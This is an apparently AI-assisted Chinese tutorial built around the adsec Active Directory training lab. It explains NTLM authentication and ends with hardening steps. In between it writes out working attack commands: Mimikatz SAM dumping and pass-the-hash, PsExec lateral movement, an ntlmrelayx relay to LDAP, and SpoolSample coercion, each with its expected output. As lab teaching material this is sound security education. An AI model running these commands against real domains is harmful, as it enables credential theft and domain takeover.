完整指南:adsec 从零跑通 NTLM 哈希攻击

📅 2026/8/25 8:59:33
完整指南:adsec 从零跑通 NTLM 哈希攻击
完整指南adsec 从零跑通 NTLM 哈希攻击【免费下载链接】adsecAn introduction to Active Directory security项目地址: https://gitcode.com/gh_mirrors/ad/adsec一次深夜应急响应取证工程师翻了整夜日志结论是这台服务器没人输入过密码却有一个新进程以管理员身份在跑唯一的线索是内存里一串 32 位的十六进制字符串。这串东西就是 NTLM 哈希。adsec 是一套开源的 Active Directory 安全攻防实战课程它的第二个练习就能在可控的域环境里复现这条哈希当密码用的完整攻击链。adsec 是给谁用的帮你验证什么adsec 是一门从零出发的 AD 安全课理论课件slides/AD-Security-101.pdf、环境搭建指南本地 3 台虚拟机建域或用 Terraform 一键上云见 lab-setup/README.md、外加exercises/下 8 个按难度排序的攻防练习。它面向刚开始 AD 安全、想先懂协议再动手的人。攻击工具全部打包在 exercises/attacker-tools/ 的压缩包里解压密码 infected不用自己到处找。NTLM 三步握手谁发起、经过什么、得到什么NTLM 认证本质是一场三回合问答服务器随机出题客户端拿密码哈希作答服务器自己算一遍比对。先记住三个高频词Challenge服务器质询数服务器当场生成的 8 或 16 字节随机数防止旧答案被重复使用。NTHashNT 哈希密码的 MD4 摘要16 字节。可以理解为按在密码上的一枚印章明文全程不出网。Response质询应答哈希与质询数运算后的结果服务器用同一套运算比对。关键特性就藏在第 ⑤ 步服务器验证的是这个哈希能否算出正确答案而不是对方是否真的知道密码。所以只要手里有哈希就能替对方作答——这是一切哈希滥用攻击的根源。哈希存放在两处被拿走的时机完全不同存储位置存的是谁的哈希攻击者什么时候拿到SAM 数据库单台机器的本地账户拿到该机本地管理员权限之后NTDS.dit整个域的所有账户需要域管或目录服务恢复模式权限NTLMv1 与 NTLMv2 一张表对比两个版本的差别在应答怎么算直接决定它能不能被离线破解对比项NTLMv1NTLMv2服务器质询长度8 字节16 字节客户端自带随机数没有有应答是否带时间/目标上下文否是离线破解难度弱可用彩虹表高很多v1 的应答只依赖 8 字节质询不带任何上下文截获后可离线爆破或重放v2 里混入了客户端随机数和时间戳拦截的代价大得多。v1 应该在任何环境直接禁用没有讨论空间。两条最常被滥用的哈希攻击链 Pass-the-Hash把偷来的哈希直接当钥匙卡场景一台机器已被控制而两台机器的本地管理员密码还是一样的中小企业太常见了。攻击者全程不需要明文密码只需要哈希。adsec 的练习环境刻意让 adsec-00 和 adsec-01 共用同一个本地管理员密码就是为了复现这个典型隐患。第一步用 Mimikatz 把本地账户哈希倒出来三行命令需管理员权限运行privilege::debug token::elevate lsadump::sam第二步用哈希直接开 Shell再用 PsExec 连向下一台机器sekurlsa::pth /user:Administrator /ntlm:32位哈希 /domain:doesnotmatter PsExec64.exe \\adsec-01 cmd远端 Shell 里whoami返回 CONTOSO\administrator 即成功。排错提示如果lsadump::sam报错九成是进程没有提升权限——右键命令提示符选以管理员身份运行再执行。 NTLM Relay中转站不检查卡是谁的PtH 是自己用卡Relay 是把受害者的卡拿过来插到更有价值的门里。问题在于 NTLM 握手时服务器不校验这次认证最初是发给谁的它只验证答案对不对。攻击者就在中间当一次快递中转让受害者先认证给自己再把整个会话原样转发给域控的 LDAP。难点只有一个让受害者主动来敲门。常用强制认证入口有 MS-RPRN 打印协议SpoolSample、MS-EFSRPCPetitPotam、WebDAV。项目的第三个练习详见 exercises/3-NTLM-Relay.md走完了全链路先用 Powermad 创建 evilpc$ 计算机账户再启动中继ntlmrelayx.py --no-smb-server --delegate-access --escalate-user evilpc$ -t ldap://adsec-dc.contoso.com最后用 SpoolSample 逼 adsec-01 发起一次打印认证SpoolSample.exe adsec-01 adsec-0080/foobar成功时中继控制台会输出[*] Authenticating against ldap://adsec-dc.contoso.com as CONTOSO\adsec-01$ SUCCEED [*] Delegation rights modified succesfully!你得到的是那台机器的资源基于约束委派RBCD权限——也就是第六个练习 Kerberos RBCD 攻击的入场券。最小实战路径环境 → 命令 → 预期输出环境先克隆课程仓库拿到搭建脚本git clone https://gitcode.com/gh_mirrors/ad/adsec再按 lab-setup/README.md 本地建 3 台虚拟机adsec-dc 两台成员或用 Terraform 上云依次执行create-domain.ps1和domainprepare.ps1得到带用户、组和 OU 的测试域。工具解压 exercises/attacker-tools/ 下的两个压缩包密码 infectedMimikatz、PsExec、impacket、SpoolSample 全在里面。最短路径练习 2 的哈希提取与横向移动 → 远端whoami回显目标机管理员 → 练习 3 的中继链 → 控制台出现 SUCCEED 与 Delegation rights modified。两个练习串起来约一小时。排错如果 ntlmrelayx 一直等不到连接先确认 adsec-01 的 135 端口RPC能从攻击机打通域默认防火墙通常要先放开——这是最常见的失败原因。NTLM 加固五件事按优先级做优先级措施可验证的效果1组策略LAN 管理器身份验证级别设为仅发送 NTLMv2 响应并开启 SMB 签名v1 降级与中继同时消失2部署 LAPS每台机器本地管理员密码独立随机一张偷来的哈希只能开一台机器3修补 MS-RPRN / MS-EFSRPC 强制认证漏洞用 RPC 过滤器拦截敲门通道少一类4对 IIS、Exchange 等支持的服务启用 EPA扩展保护认证绑定 TLS 通道无法在别处重放5限制 NTLM组策略先审计再拒绝认证尽量迁往 KerberosNTLM 攻击面逐步收缩下一步先做完练习 2 和 3并亲手回答练习 2 末尾的思考题NTLM 能否彻底禁用为什么然后继续exercises/4-Kerberos-Roasting.md——理解了哈希滥用你就能看懂 Kerberos 为什么也有票据攻击。【免费下载链接】adsecAn introduction to Active Directory security项目地址: https://gitcode.com/gh_mirrors/ad/adsec创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考